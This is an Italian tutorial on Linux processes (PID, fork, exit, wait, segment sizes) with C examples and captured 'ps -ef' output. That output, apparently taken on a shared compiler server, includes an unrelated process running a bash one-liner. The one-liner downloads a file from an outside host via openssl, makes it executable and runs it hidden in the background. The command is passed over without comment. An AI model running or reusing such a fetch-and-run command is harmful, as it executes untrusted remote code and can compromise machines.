Comunicazione tra processi - Guida rapida
Inter Process Communication (IPC) è un meccanismo che implica la comunicazione di un processo con un altro processo. Questo di solito si verifica solo in un sistema.
La comunicazione può essere di due tipi:
Tra processi correlati che iniziano da un solo processo, come i processi padre e figlio.
Tra processi non correlati o due o più processi diversi.
Di seguito sono riportati alcuni termini importanti che dobbiamo conoscere prima di procedere ulteriormente su questo argomento.
Pipes- Comunicazione tra due processi correlati. Il meccanismo è half duplex, il che significa che il primo processo comunica con il secondo processo. Per ottenere un full duplex, ad esempio, affinché il secondo processo comunichi con il primo processo è necessario un altro tubo.
FIFO- Comunicazione tra due processi non correlati. FIFO è un full duplex, il che significa che il primo processo può comunicare con il secondo processo e viceversa allo stesso tempo.
Message Queues- Comunicazione tra due o più processi con capacità full duplex. I processi comunicheranno tra loro inviando un messaggio e recuperandolo dalla coda. Una volta recuperato, il messaggio non è più disponibile nella coda.
Shared Memory- La comunicazione tra due o più processi avviene tramite un pezzo di memoria condiviso tra tutti i processi. La memoria condivisa deve essere protetta l'una dall'altra sincronizzando l'accesso a tutti i processi.
Semaphores- I semafori sono pensati per sincronizzare l'accesso a più processi. Quando un processo vuole accedere alla memoria (per leggere o scrivere), deve essere bloccato (o protetto) e rilasciato quando l'accesso viene rimosso. Questo deve essere ripetuto da tutti i processi per proteggere i dati.
Signals- Il segnale è un meccanismo di comunicazione tra più processi tramite segnalazione. Ciò significa che un processo sorgente invierà un segnale (riconosciuto da un numero) e il processo di destinazione lo gestirà di conseguenza.
Note - Quasi tutti i programmi in questo tutorial sono basati su chiamate di sistema sotto il sistema operativo Linux (eseguito in Ubuntu).
Prima di entrare nelle informazioni di processo, dobbiamo sapere alcune cose, come:
Cos'è un processo? Un processo è un programma in esecuzione.
Cos'è un programma? Un programma è un file contenente le informazioni di un processo e come costruirlo durante il runtime. Quando si avvia l'esecuzione del programma, viene caricato nella RAM e inizia l'esecuzione.
Ogni processo è identificato con un numero intero positivo univoco chiamato ID processo o semplicemente PID (numero di identificazione del processo). Il kernel di solito limita l'ID del processo a 32767, che è configurabile. Quando l'ID processo raggiunge questo limite, viene reimpostato di nuovo, ovvero dopo l'intervallo di processi del sistema. Gli ID di processo inutilizzati da quel contatore vengono quindi assegnati ai processi appena creati.
La chiamata di sistema getpid () restituisce l'ID del processo chiamante.
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);
Questa chiamata restituisce l'ID del processo chiamante che è garantito essere univoco. Questa chiamata ha sempre successo e quindi nessun valore restituito per indicare un errore.
Ogni processo ha il suo ID univoco chiamato ID processo che va bene, ma chi lo ha creato? Come ottenere informazioni sul suo creatore? Il processo creatore è chiamato processo genitore. L'ID genitore o il PPID può essere ottenuto tramite la chiamata getppid ().
La chiamata di sistema getppid () restituisce il PID padre del processo chiamante.
#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);
Questa chiamata restituisce l'ID del processo padre del processo chiamante. Questa chiamata ha sempre successo e quindi nessun valore restituito per indicare un errore.
Cerchiamo di capirlo con un semplice esempio.
Di seguito è riportato un programma per conoscere il PID e il PPID del processo chiamante.
File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
Alla compilazione ed esecuzione del programma di cui sopra, segue l'output.
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost: $1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2> /dev/null | tee out | while read line do if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c))) fi if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize > size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
Note- Il sistema di funzioni di libreria "C" () esegue un comando di shell. Gli argomenti passati a system () sono comandi eseguiti sulla shell. Nel programma precedente, il comando è "ps", che fornisce lo stato del processo.
Le informazioni complete su tutti i processi in esecuzione e altre informazioni relative al sistema sono accessibili dal file system proc disponibile in / proc.
Ora che abbiamo visto come ottenere le informazioni di base del processo e del suo processo genitore, è tempo di esaminare i dettagli delle informazioni sul processo / programma.
Cos'è esattamente l'immagine di processo? L'immagine di processo è un file eseguibile richiesto durante l'esecuzione del programma. Questa immagine di solito contiene le seguenti sezioni:
- Segmento di codice o segmento di testo
- Segmento di dati
- Segmento dello stack
- Segmento di heap
Di seguito è la rappresentazione pittorica dell'immagine di processo.
Code segmentè una parte del file oggetto o dello spazio degli indirizzi virtuali del programma che consiste in istruzioni eseguibili. Questo è in genere un segmento di dati di sola lettura e ha una dimensione fissa.
Il segmento di dati è di due tipi.
- Initialized
- Un-initialized
Initialized data segment è una parte del file oggetto o dello spazio degli indirizzi virtuali del programma che consiste di variabili statiche e globali inizializzate.
Un-initialized data segmentè una parte del file oggetto o dello spazio degli indirizzi virtuali del programma che consiste in variabili statiche e globali non inizializzate. Il segmento di dati non inizializzato è anche chiamato segmento BSS (Block Started by Symbol).
Data segmentè di lettura-scrittura, poiché i valori delle variabili potrebbero essere modificati durante il runtime. Anche questo segmento ha una dimensione fissa.
Stack segmentè un'area di memoria assegnata alle variabili automatiche e ai parametri di funzione. Memorizza anche un indirizzo di ritorno durante l'esecuzione delle chiamate di funzione. Stack utilizza il meccanismo LIFO (Last-In-First-Out) per memorizzare variabili locali o automatiche, parametri di funzione e memorizzare l'indirizzo successivo o l'indirizzo di ritorno. L'indirizzo di ritorno si riferisce all'indirizzo da restituire dopo il completamento dell'esecuzione della funzione. Questa dimensione del segmento è variabile in base alle variabili locali, ai parametri di funzione e alle chiamate di funzione. Questo segmento cresce da un indirizzo più alto a un indirizzo più basso.
Heap segmentè l'area di memoria assegnata per l'archiviazione dinamica della memoria come per le chiamate malloc () e calloc (). Anche la dimensione del segmento è variabile in base all'allocazione dell'utente. Questo segmento cresce da un indirizzo più basso a un indirizzo più alto.
Vediamo ora come variano le dimensioni dei segmenti (dati e segmenti bss) con alcuni programmi di esempio. La dimensione del segmento è nota eseguendo il comando "size".
Programma iniziale
File: segment_size1.c
#include<stdio.h>
int main() {
printf("Hello World\n");
return 0;
}
Nel seguente programma, viene aggiunta una variabile statica non inizializzata. Ciò significa che la dimensione del segmento non inizializzato (BSS) aumenterebbe di 4 byte.Note- Nel sistema operativo Linux, la dimensione di int è di 4 byte. La dimensione del tipo di dati intero dipende dal compilatore e dal supporto del sistema operativo.
File: segment_size2.c
#include<stdio.h>
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
Nel seguente programma viene aggiunta una variabile statica inizializzata. Ciò significa che la dimensione del segmento inizializzato (DATA) aumenterebbe di 4 byte.
File: segment_size3.c
#include<stdio.h>
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Nel seguente programma viene aggiunta una variabile globale inizializzata. Ciò significa che la dimensione del segmento inizializzato (DATA) aumenterebbe di 4 byte.
File: segment_size4.c
#include<stdio.h>
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Nel seguente programma, viene aggiunta una variabile globale non inizializzata. Ciò significa che la dimensione del segmento non inizializzato (BSS) aumenterebbe di 4 byte.
File: segment_size5.c
#include<stdio.h>
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Fasi di esecuzione
Compilazione
babukrishnam $ gcc segment_size1.c -o segment_size1
babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3
babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size5
Esecuzione / output
babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5
text data bss dec hex filename
878 252 8 1138 472 segment_size1
878 252 12 1142 476 segment_size2
878 256 12 1146 47a segment_size3
878 260 12 1150 47e segment_size4
878 260 16 1154 482 segment_size5
babukrishnam
Fino ad ora sappiamo che ogni volta che eseguiamo un programma, viene creato un processo che verrebbe terminato dopo il completamento dell'esecuzione. E se avessimo bisogno di creare un processo all'interno del programma e potessimo programmare un'attività diversa per esso. Può essere raggiunto? Sì, ovviamente attraverso la creazione del processo. Ovviamente, una volta terminato, il lavoro verrà terminato automaticamente oppure sarà possibile interromperlo se necessario.
La creazione del processo si ottiene tramite fork() system call. Il processo appena creato è chiamato processo figlio e il processo che lo ha avviato (o il processo quando viene avviata l'esecuzione) è chiamato processo genitore. Dopo la chiamata di sistema fork (), ora abbiamo due processi: genitore e figlio. Come differenziarli? Molto semplice, è attraverso i loro valori di ritorno.
Dopo la creazione del processo figlio, vediamo i dettagli della chiamata di sistema fork ().
#include <sys/types.h>
#include <unistd.h>
pid_t fork(void);
Crea il processo figlio. Dopo questa chiamata, ci sono due processi, quello esistente è chiamato processo genitore e quello appena creato è chiamato processo figlio.
La chiamata di sistema fork () restituisce uno dei tre valori:
Valore negativo per indicare un errore, ovvero non riuscita nella creazione del processo figlio.
Restituisce uno zero per il processo figlio.
Restituisce un valore positivo per il processo genitore. Questo valore è l'ID del processo figlio appena creato.
Consideriamo un semplice programma.
File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
fork();
printf("Called fork() system call\n");
return 0;
}
Fasi di esecuzione
Compilazione
gcc basicfork.c -o basicfork
Esecuzione / output
Called fork() system call
Called fork() system call
Note- Di solito dopo la chiamata a fork (), il processo figlio e il processo genitore eseguono compiti diversi. Se è necessario eseguire la stessa attività, per ogni chiamata fork () verrà eseguita 2 volte n volte, doven è il numero di volte in cui viene invocato fork ().
Nel caso precedente, fork () viene chiamato una volta, quindi l'output viene stampato due volte (2 power 1). Se fork () viene chiamato, diciamo 3 volte, l'output verrebbe stampato 8 volte (2 power 3). Se viene chiamato 5 volte, viene stampato 32 volte e così via.
Dopo aver visto fork () creare il processo figlio, è ora di vedere i dettagli del processo genitore e figlio.
Nome file: pids_after_fork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
pid_t pid, mypid, myppid;
pid = getpid();
printf("Before fork: Process id is %d\n", pid);
pid = fork();
if (pid < 0) {
perror("fork() failure\n");
return 1;
}
// Child process
if (pid == 0) {
printf("This is child process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
} else { // Parent process
sleep(2);
printf("This is parent process\n");
mypid = getpid();
myppid = getppid();
printf("Process id is %d and PPID is %d\n", mypid, myppid);
printf("Newly created process id or child pid is %d\n", pid);
}
return 0;
}
Fasi di compilazione ed esecuzione
Before fork: Process id is 166629
This is child process
Process id is 166630 and PPID is 166629
Before fork: Process id is 166629
This is parent process
Process id is 166629 and PPID is 166628
Newly created process id or child pid is 166630
Un processo può terminare in uno dei due modi:
In modo anomalo, si verifica alla consegna di determinati segnali, ad esempio segnale di terminazione.
Normalmente, utilizzando la chiamata di sistema _exit () (o la chiamata di sistema _Exit ()) o la funzione di libreria exit ().
La differenza tra _exit () e exit () è principalmente l'attività di pulizia. Ilexit() fa un po 'di pulizia prima di restituire il controllo al kernel, mentre il _exit() (o _Exit ()) restituirà immediatamente il controllo al kernel.
Considera il seguente programma di esempio con exit ().
Nome file: atexit_sample.c
#include <stdio.h>
#include <stdlib.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
exit (0);
}
Fasi di compilazione ed esecuzione
Hello, World!
Called cleanup function - exitfunc()
Considera il seguente programma di esempio con _exit ().
Nome file: at_exit_sample.c
#include <stdio.h>
#include <unistd.h>
void exitfunc() {
printf("Called cleanup function - exitfunc()\n");
return;
}
int main() {
atexit(exitfunc);
printf("Hello, World!\n");
_exit (0);
}
Fasi di compilazione ed esecuzione
Hello, World!
Come abbiamo visto, ogni volta che creiamo un processo figlio da un programma utilizzando fork, accade quanto segue:
- Il processo corrente ora diventa il processo genitore
- Il nuovo processo diventa il processo figlio
Cosa succede se il processo genitore termina la sua attività prima del processo figlio e poi si chiude o esce? Ora chi sarebbe il genitore del processo figlio? Il genitore del processo figlio è il processo init, che è il primo processo che avvia tutte le attività.
Per monitorare lo stato di esecuzione del processo figlio, per verificare se il processo figlio è in esecuzione o arrestato o per controllare lo stato di esecuzione, ecc. Vengono utilizzate le chiamate di sistema wait () e le sue varianti.
Consideriamo un programma di esempio, in cui il processo genitore non aspetta il processo figlio, che si traduce in init process che diventa il nuovo genitore per il processo figlio.
Nome file: parentprocess_nowait.c
#include<stdio.h>
int main() {
int pid;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
} else {
sleep(3);
}
return 0;
}
Fasi di compilazione ed esecuzione
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:38 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:14 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 163891 0 0 05:41 ? 00:00:00 main
8023807 164130 0 0 05:41 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 164136 164130 0 05:41 ? 00:00:00 timeout 10s main
8023807 164137 164136 0 05:41 ? 00:00:00 main
8023807 164138 164137 0 05:41 ? 00:00:00 main
8023807 164139 164138 0 05:41 ? 00:00:00 ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:13:48 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:35:24 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 164138 0 0 05:41 ? 00:00:00 main
8023807 164897 164138 0 05:41 ? 00:00:00 ps -ef
Note - Osserva che il PID del processo genitore era 94 e il PID del processo figlio era 95. Dopo che il processo genitore è uscito, il PPID del processo figlio è cambiato da 94 a 1 (processo init).
Di seguito sono riportate le varianti delle chiamate di sistema per monitorare il / i processo / i figlio / i:
- wait()
- waitpid()
- waitid()
Il wait() la chiamata di sistema attende che uno dei figli termini e restituisca il suo stato di terminazione nel buffer come spiegato di seguito.
#include <sys/types.h>
#include <sys/wait.h>
pid_t wait(int *status);
Questa chiamata restituisce l'ID di processo del figlio terminato in caso di successo e -1 in caso di fallimento. La chiamata di sistema wait () sospende l'esecuzione del processo corrente e attende indefinitamente finché uno dei suoi figli non termina. Lo stato di cessazione dal bambino è disponibile in status.
Modifichiamo il programma precedente, in modo che il processo genitore ora aspetti il processo figlio.
/ * Nome file: parentprocess_waits.c * /
#include<stdio.h>
int main() {
int pid;
int status;
pid = fork();
// Child process
if (pid == 0) {
system("ps -ef");
sleep(10);
system("ps -ef");
return 3; //exit status is 3 from child process
} else {
sleep(3);
wait(&status);
printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
}
return 0;
}
Fasi di compilazione ed esecuzione
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Jan20 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 Jan20 ? 00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506 5445 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 5446 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 21894 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 21895 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 27309 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 27311 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
8295652 32407 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
4688328 49830 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
3108506 50854 0 0 Jan20 ? 00:00:18 /sbin/klogd -c 1 -x -x
4688328 64936 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
3108506 64937 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 67563 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
5942779 68128 0 0 Jan22 ? 00:00:07 /sbin/klogd -c 1 -x -x
3108506 68238 0 0 Jan22 ? 00:00:59 [/sbin/klogd -c ] <defunct>
4688328 68999 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
3108506 69212 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 74090 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
3108506 74091 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 74298 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 74299 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
6327201 74901 0 0 Jan20 ? 00:00:38 /sbin/klogd -c 1 -x -x
6327201 77274 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 78621 0 0 Jan20 ? 00:00:33 /sbin/klogd -c 1 -x -x
7528790 80536 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
6327201 80542 0 0 Jan20 ? 00:01:09 [/sbin/klogd -c ] <defunct>
4688328 82050 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
3108506 82051 0 0 Jan22 ? 00:01:59 [/sbin/klogd -c ] <defunct>
7528790 84116 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
7528790 84136 0 19 Jan20 ? 21:19:39 /sbin/klogd -c 1 -x -x
7528790 84140 0 0 Jan20 ? 00:00:28 /sbin/klogd -c 1 -x -x
3108506 84395 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84396 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
